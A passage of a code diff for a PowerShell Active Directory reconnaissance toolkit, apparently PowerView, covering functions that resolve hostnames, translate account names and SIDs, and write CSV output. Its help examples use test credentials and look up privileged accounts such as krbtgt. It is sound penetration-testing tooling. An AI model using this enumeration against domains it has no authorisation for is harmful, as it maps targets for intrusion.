- # mutex so threaded code doesn't stomp on the output file
- $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
- $Null = $Mutex.WaitOne()
+ if ($PSBoundParameters['Append']) {
+ $FileMode = [System.IO.FileMode]::Append
+ }
+ else {
+ $FileMode = [System.IO.FileMode]::Create
+ $Exists = $False
+ }
- if (Test-Path -Path $OutFile) {
- # hack to skip the first line of output if the file already exists
- $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
+ $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
+ $CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
+ $CSVWriter.AutoFlush = $True
}
- else {
- $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
+
+ PROCESS {
+ ForEach ($Entry in $InputObject) {
+ $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
+
+ if (-not $Exists) {
+ # output the object field names as well
+ $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
+ $Exists = $True
+ }
+ else {
+ # only output object field data
+ $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
+ }
+ }
}
- $Mutex.ReleaseMutex()
+ END {
+ $Mutex.ReleaseMutex()
+ $CSVWriter.Dispose()
+ $CSVStream.Dispose()
+ }
}
-filter Get-IPAddress {
+function Resolve-IPAddress {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Resolves a given hostename to its associated IPv4 address.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
+
+.DESCRIPTION
+
+Resolves a given hostename to its associated IPv4 address using
+[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
+is the IP address of the localhost.
+
+.EXAMPLE
+
+Resolve-IPAddress -ComputerName SERVER
+
+.EXAMPLE
+
+@("SERVER1", "SERVER2") | Resolve-IPAddress
- Resolves a given hostename to its associated IPv4 address.
- If no hostname is provided, it defaults to returning
- the IP address of the localhost.
+.INPUTS
- .EXAMPLE
+String
- PS C:\> Get-IPAddress -ComputerName SERVER
-
- Return the IPv4 address of 'SERVER'
+Accepts one or more IP address strings on the pipeline.
- .EXAMPLE
+.OUTPUTS
- PS C:\> Get-Content .\hostnames.txt | Get-IPAddress
+System.Management.Automation.PSCustomObject
- Get the IP addresses of all hostnames in an input file.
+A custom PSObject with the ComputerName and IPAddress.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
- param(
- [Parameter(Position=0, ValueFromPipeline=$True)]
- [Alias('HostName')]
- [String]
- $ComputerName = $Env:ComputerName
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ComputerName = $Env:COMPUTERNAME
)
- try {
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
-
- # get the IP resolution of this specified hostname
- @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
- if ($_.AddressFamily -eq 'InterNetwork') {
- $Out = New-Object PSObject
- $Out | Add-Member Noteproperty 'ComputerName' $Computer
- $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
- $Out
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ try {
+ @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
+ if ($_.AddressFamily -eq 'InterNetwork') {
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'ComputerName' $Computer
+ $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
+ $Out
+ }
+ }
+ }
+ catch {
+ Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
}
}
}
- catch {
- Write-Verbose -Message 'Could not resolve host to an IP Address.'
- }
}
-filter Convert-NameToSid {
+function ConvertTo-SID {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Converts a given user/group name to a security identifier (SID).
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
+
+.DESCRIPTION
+
+Converts a "DOMAIN\username" syntax to a security identifier (SID)
+using System.Security.Principal.NTAccount's translate function. If alternate
+credentials are supplied, then Get-ADObject is used to try to map the name
+to a security identifier.
+
+.PARAMETER ObjectName
+
+The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the translation, defaults to the current domain.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to for the translation.
+
+.PARAMETER Credential
+
+Specifies an alternate credential to use for the translation.
+
+.EXAMPLE
+
+ConvertTo-SID 'DEV\dfm'
+
+.EXAMPLE
- Converts a given user/group name to a security identifier (SID).
+'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
- .PARAMETER ObjectName
+.EXAMPLE
- The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
- .PARAMETER Domain
+.INPUTS
- Specific domain for the given user account, defaults to the current domain.
+String
- .EXAMPLE
+Accepts one or more username specification strings on the pipeline.
- PS C:\> Convert-NameToSid 'DEV\dfm'
+.OUTPUTS
+
+String
+
+A string representing the SID of the translated name.
#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([String])]
[CmdletBinding()]
- param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
- [String]
- [Alias('Name')]
+ Param(
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name', 'Identity')]
+ [String[]]
$ObjectName,
+ [ValidateNotNullOrEmpty()]
[String]
- $Domain
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- $ObjectName = $ObjectName -Replace "/","\"
-
- if($ObjectName.Contains("\")) {
- # if we get a DOMAIN\user format, auto convert it
- $Domain = $ObjectName.Split("\")[0]
- $ObjectName = $ObjectName.Split("\")[1]
- }
- elseif(-not $Domain) {
- $Domain = (Get-NetDomain).Name
+ BEGIN {
+ $DomainSearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
}
- try {
- $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))
- $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
-
- $Out = New-Object PSObject
- $Out | Add-Member Noteproperty 'ObjectName' $ObjectName
- $Out | Add-Member Noteproperty 'SID' $SID
- $Out
- }
- catch {
- Write-Verbose "Invalid object/name: $Domain\$ObjectName"
- $Null
+ PROCESS {
+ ForEach ($Object in $ObjectName) {
+ $Object = $Object -Replace '/','\'
+
+ if ($PSBoundParameters['Credential']) {
+ $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
+ if ($DN) {
+ $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ $UserName = $DN.Split(',')[0].split('=')[1]
+
+ $DomainSearcherArguments['Identity'] = $UserName
+ $DomainSearcherArguments['Domain'] = $UserDomain
+ $DomainSearcherArguments['Properties'] = 'objectsid'
+ Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
+ }
+ }
+ else {
+ try {
+ if ($Object.Contains('\')) {
+ $Domain = $Object.Split('\')[0]
+ $Object = $Object.Split('\')[1]
+ }
+ elseif (-not $PSBoundParameters['Domain']) {
+ $DomainSearcherArguments = @{}
+ $Domain = (Get-Domain @DomainSearcherArguments).Name
+ }
+
+ $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
+ $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
+ }
+ catch {
+ Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
+ }
+ }
+ }
}
}
-filter Convert-SidToName {
+function ConvertFrom-SID {
<#
- .SYNOPSIS
-
- Converts a security identifier (SID) to a group/user name.
+.SYNOPSIS
+
+Converts a security identifier (SID) to a group/user name.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Convert-ADName
+
+.DESCRIPTION
+
+Converts a security identifier string (SID) to a group/user name
+using Convert-ADName.
+
+.PARAMETER ObjectSid
+
+Specifies one or more SIDs to convert.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the translation, defaults to the current domain.
- .PARAMETER SID
-
- The SID to convert.
+.PARAMETER Server
- .EXAMPLE
+Specifies an Active Directory server (domain controller) to bind to for the translation.
- PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105
+.PARAMETER Credential
+
+Specifies an alternate credential to use for the translation.
+
+.EXAMPLE
+
+ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
+
+TESTLAB\harmj0y
+
+.EXAMPLE
+
+"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
+
+TESTLAB\WINDOWS2$
+TESTLAB\harmj0y
+BUILTIN\Distributed COM Users
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
+ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
+
+TESTLAB\harmj0y
+
+.INPUTS
+
+String
+
+Accepts one or more SID strings on the pipeline.
+
+.OUTPUTS
+
+String
+
+The converted DOMAIN\username.
#>
+
+ [OutputType([String])]
[CmdletBinding()]
- param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
- [String]
+ Param(
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('SID')]
[ValidatePattern('^S-1-.*')]
- $SID
+ [String[]]
+ $ObjectSid,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- try {
- $SID2 = $SID.trim('*')
-
- # try to resolve any built-in SIDs first
- # from https://support.microsoft.com/en-us/kb/243330
- Switch ($SID2) {
- 'S-1-0' { 'Null Authority' }
- 'S-1-0-0' { 'Nobody' }
- 'S-1-1' { 'World Authority' }
- 'S-1-1-0' { 'Everyone' }
- 'S-1-2' { 'Local Authority' }
- 'S-1-2-0' { 'Local' }
- 'S-1-2-1' { 'Console Logon ' }
- 'S-1-3' { 'Creator Authority' }
- 'S-1-3-0' { 'Creator Owner' }
- 'S-1-3-1' { 'Creator Group' }
- 'S-1-3-2' { 'Creator Owner Server' }
- 'S-1-3-3' { 'Creator Group Server' }
- 'S-1-3-4' { 'Owner Rights' }
- 'S-1-4' { 'Non-unique Authority' }
- 'S-1-5' { 'NT Authority' }
- 'S-1-5-1' { 'Dialup' }
- 'S-1-5-2' { 'Network' }
- 'S-1-5-3' { 'Batch' }
- 'S-1-5-4' { 'Interactive' }
- 'S-1-5-6' { 'Service' }
- 'S-1-5-7' { 'Anonymous' }
- 'S-1-5-8' { 'Proxy' }
- 'S-1-5-9' { 'Enterprise Domain Controllers' }
- 'S-1-5-10' { 'Principal Self' }
- 'S-1-5-11' { 'Authenticated Users' }
- 'S-1-5-12' { 'Restricted Code' }
- 'S-1-5-13' { 'Terminal Server Users' }
- 'S-1-5-14' { 'Remote Interactive Logon' }
- 'S-1-5-15' { 'This Organization ' }
- 'S-1-5-17' { 'This Organization ' }
- 'S-1-5-18' { 'Local System' }
- 'S-1-5-19' { 'NT Authority' }
- 'S-1-5-20' { 'NT Authority' }
- 'S-1-5-80-0' { 'All Services ' }
- 'S-1-5-32-544' { 'BUILTIN\Administrators' }
- 'S-1-5-32-545' { 'BUILTIN\Users' }
- 'S-1-5-32-546' { 'BUILTIN\Guests' }
- 'S-1-5-32-547' { 'BUILTIN\Power Users' }
- 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
- 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
- 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
- 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
- 'S-1-5-32-552' { 'BUILTIN\Replicators' }
- 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
- 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
- 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
- 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
- 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
- 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
- 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
- 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
- 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
- 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
- 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
- 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
- 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
- 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
- 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
- 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
- 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
- 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
- Default {
- $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))
- $Obj.Translate( [System.Security.Principal.NTAccount]).Value
+ BEGIN {
+ $ADNameArguments = @{}
+ if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
+ }
+
+ PROCESS {
+ ForEach ($TargetSid in $ObjectSid) {
+ $TargetSid = $TargetSid.trim('*')
+ try {
+ # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
+ Switch ($TargetSid) {
+ 'S-1-0' { 'Null Authority' }
+ 'S-1-0-0' { 'Nobody' }
+ 'S-1-1' { 'World Authority' }
+ 'S-1-1-0' { 'Everyone' }
+ 'S-1-2' { 'Local Authority' }
+ 'S-1-2-0' { 'Local' }
+ 'S-1-2-1' { 'Console Logon ' }
+ 'S-1-3' { 'Creator Authority' }
+ 'S-1-3-0' { 'Creator Owner' }
+ 'S-1-3-1' { 'Creator Group' }
+ 'S-1-3-2' { 'Creator Owner Server' }
+ 'S-1-3-3' { 'Creator Group Server' }
+ 'S-1-3-4' { 'Owner Rights' }
+ 'S-1-4' { 'Non-unique Authority' }
+ 'S-1-5' { 'NT Authority' }
+ 'S-1-5-1' { 'Dialup' }
+ 'S-1-5-2' { 'Network' }
+ 'S-1-5-3' { 'Batch' }
+ 'S-1-5-4' { 'Interactive' }
+ 'S-1-5-6' { 'Service' }
+ 'S-1-5-7' { 'Anonymous' }
+ 'S-1-5-8' { 'Proxy' }
+ 'S-1-5-9' { 'Enterprise Domain Controllers' }
+ 'S-1-5-10' { 'Principal Self' }
+ 'S-1-5-11' { 'Authenticated Users' }
+ 'S-1-5-12' { 'Restricted Code' }
+ 'S-1-5-13' { 'Terminal Server Users' }
+ 'S-1-5-14' { 'Remote Interactive Logon' }
+ 'S-1-5-15' { 'This Organization ' }
+ 'S-1-5-17' { 'This Organization ' }
+ 'S-1-5-18' { 'Local System' }
+ 'S-1-5-19' { 'NT Authority' }
+ 'S-1-5-20' { 'NT Authority' }
+ 'S-1-5-80-0' { 'All Services ' }
+ 'S-1-5-32-544' { 'BUILTIN\Administrators' }
+ 'S-1-5-32-545' { 'BUILTIN\Users' }
+ 'S-1-5-32-546' { 'BUILTIN\Guests' }
+ 'S-1-5-32-547' { 'BUILTIN\Power Users' }
+ 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
+ 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
+ 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
+ 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
+ 'S-1-5-32-552' { 'BUILTIN\Replicators' }
+ 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
+ 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
+ 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
+ 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
+ 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
+ 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
+ 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
+ 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
+ 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
+ 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
+ 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
+ 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
+ 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
+ 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
+ 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
+ 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
+ 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
+ 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
+ Default {
+ Convert-ADName -Identity $TargetSid @ADNameArguments
+ }
+ }
+ }
+ catch {
+ Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
}
}
}
- catch {
- Write-Verbose "Invalid SID: $SID"
- $SID
- }
}
-filter Convert-ADName {
+function Convert-ADName {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Converts Active Directory object names between a variety of formats.
+
+Author: Bill Stewart, Pasquale Lantella
+Modifications: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
+
+.DESCRIPTION
- Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com)
- to canonical format (domain.com/Users/user) or NT4.
+This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
+and translates Active Directory names between various formats using the NameTranslate COM object.
- Based on Bill Stewart's code from this article:
- http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
+.PARAMETER Identity
- .PARAMETER ObjectName
+Specifies the Active Directory object name to translate, of the following form:
- The user/group name to convert.
+ DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
+ Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
+ NT4 domain\username; e.g., 'fabrikam\pflynn'
+ Display display name, e.g. 'pflynn'
+ DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
+ EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
+ GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
+ UPN user principal name; e.g., 'pflynn@fabrikam.com'
+ CanonicalEx extended canonical name format
+ SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
+ SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
- .PARAMETER InputType
+.PARAMETER OutputType
- The InputType of the user/group name ("NT4","Simple","Canonical").
+Specifies the output name type you want to convert to, which must be one of the following:
- .PARAMETER OutputType
+ DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
+ Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
+ NT4 domain\username; e.g., 'fabrikam\pflynn'
+ Display display name, e.g. 'pflynn'
+ DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
+ EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
+ GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
+ UPN user principal name; e.g., 'pflynn@fabrikam.com'
+ CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
+ SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
- The OutputType of the user/group name ("NT4","Simple","Canonical").
+.PARAMETER Domain
- .EXAMPLE
+Specifies the domain to use for the translation, defaults to the current domain.
- PS C:\> Convert-ADName -ObjectName "dev\dfm"
-
- Returns "dev.testlab.local/Users/Dave"
+.PARAMETER Server
- .EXAMPLE
+Specifies an Active Directory server (domain controller) to bind to for the translation.
- PS C:\> Convert-SidToName "S-..." | Convert-ADName
-
- Returns the canonical name for the resolved SID.
+.PARAMETER Credential
- .LINK
+Specifies an alternate credential to use for the translation.
- http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
+.EXAMPLE
+
+Convert-ADName -Identity "TESTLAB\harmj0y"
+
+harmj0y@testlab.local
+
+.EXAMPLE
+
+"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
+
+testlab.local/Users/krbtgt
+testlab.local/Users/Administrator
+
+.EXAMPLE
+
+Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
+
+CN=harmj0y,CN=Users,DC=testlab,DC=local
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
+'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
+
+TESTLAB\harmj0y
+
+.INPUTS
+
+String
+
+Accepts one or more objects name strings on the pipeline.
+
+.OUTPUTS
+
+String
+
+Outputs a string representing the converted name.
+
+.LINK
+
+http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
+https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
+ [OutputType([String])]
[CmdletBinding()]
- param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ Param(
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name', 'ObjectName')]
+ [String[]]
+ $Identity,
+
[String]
- $ObjectName,
+ [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
+ $OutputType,
+ [ValidateNotNullOrEmpty()]
[String]
- [ValidateSet("NT4","Simple","Canonical")]
- $InputType,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- [ValidateSet("NT4","Simple","Canonical")]
- $OutputType
+ $Server,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- $NameTypes = @{
- 'Canonical' = 2
- 'NT4' = 3
- 'Simple' = 5
- }
+ BEGIN {
+ $NameTypes = @{
+ 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
+ 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn
+ 'NT4' = 3 # fabrikam\pflynn
+ 'Display' = 4 # pflynn
+ 'DomainSimple' = 5 # pflynn@fabrikam.com
+ 'EnterpriseSimple' = 6 # pflynn@fabrikam.com
+ 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
+ 'Unknown' = 8 # unknown type - let the server do translation
+ 'UPN' = 9 # pflynn@fabrikam.com
+ 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn
+ 'SPN' = 11 # HTTP/kairomac.contoso.com
+ 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999
+ }
- if(-not $PSBoundParameters['InputType']) {
- if( ($ObjectName.split('/')).Count -eq 2 ) {
- $ObjectName = $ObjectName.replace('/', '\')
+ # accessor functions from Bill Stewart to simplify calls to NameTranslate
+ function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
+ $Output = $Null
+ $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
+ Write-Output $Output
}
- if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") {
- $InputType = 'NT4'
+ function Get-Property([__ComObject] $Object, [String] $Property) {
+ $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
}
- elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {
- $InputType = 'Simple'
+
+ function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
+ [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
}
- elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") {
- $InputType = 'Canonical'
+
+ # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
+ if ($PSBoundParameters['Server']) {
+ $ADSInitType = 2
+ $InitName = $Server
}
- else {
- Write-Warning "Can not identify InType for $ObjectName"
- return $ObjectName
+ elseif ($PSBoundParameters['Domain']) {
+ $ADSInitType = 1
+ $InitName = $Domain
}
- }
- elseif($InputType -eq 'NT4') {
- $ObjectName = $ObjectName.replace('/', '\')
- }
-
- if(-not $PSBoundParameters['OutputType']) {
- $OutputType = Switch($InputType) {
- 'NT4' {'Canonical'}
- 'Simple' {'NT4'}
- 'Canonical' {'NT4'}
+ elseif ($PSBoundParameters['Credential']) {
+ $Cred = $Credential.GetNetworkCredential()
+ $ADSInitType = 1
+ $InitName = $Cred.Domain
+ }
+ else {
+ # if no domain or server is specified, default to GC initialization
+ $ADSInitType = 3
+ $InitName = $Null
}
}
- # try to extract the domain from the given format
- $Domain = Switch($InputType) {
- 'NT4' { $ObjectName.split("\")[0] }
- 'Simple' { $ObjectName.split("@")[1] }
- 'Canonical' { $ObjectName.split("/")[0] }
- }
-
- # Accessor functions to simplify calls to NameTranslate
- function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
- $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)
- if ( $Output ) { $Output }
- }
- function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
- [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)
- }
+ PROCESS {
+ ForEach ($TargetIdentity in $Identity) {
+ if (-not $PSBoundParameters['OutputType']) {
+ if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
+ $ADSOutputType = $NameTypes['DomainSimple']
+ }
+ else {
+ $ADSOutputType = $NameTypes['NT4']
+ }
+ }
+ else {
+ $ADSOutputType = $NameTypes[$OutputType]
+ }
- $Translate = New-Object -ComObject NameTranslate
+ $Translate = New-Object -ComObject NameTranslate
- try {
- Invoke-Method $Translate "Init" (1, $Domain)
- }
- catch [System.Management.Automation.MethodInvocationException] {
- Write-Verbose "Error with translate init in Convert-ADName: $_"
- }
+ if ($PSBoundParameters['Credential']) {
+ try {
+ $Cred = $Credential.GetNetworkCredential()
+
+ Invoke-Method $Translate 'InitEx' (
+ $ADSInitType,
+ $InitName,
+ $Cred.UserName,
+ $Cred.Domain,
+ $Cred.Password
+ )
+ }
+ catch {
+ Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
+ }
+ }
+ else {
+ try {
+ $Null = Invoke-Method $Translate 'Init' (
+ $ADSInitType,
+ $InitName
+ )
+ }
+ catch {
+ Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
+ }
+ }
- Set-Property $Translate "ChaseReferral" (0x60)
+ # always chase all referrals
+ Set-Property $Translate 'ChaseReferral' (0x60)
- try {
- Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName)
- (Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))
- }
- catch [System.Management.Automation.MethodInvocationException] {
- Write-Verbose "Error with translate Set/Get in Convert-ADName: $_"
+ try {
+ # 8 = Unknown name type -> let the server do the work for us
+ $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
+ Invoke-Method $Translate 'Get' ($ADSOutputType)
+ }
+ catch [System.Management.Automation.MethodInvocationException] {
+ Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
+ }
+ }
}
}
function ConvertFrom-UACValue {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Converts a UAC int value to human readable form.
+
+Author: Will Schroeder (@harmj0y)
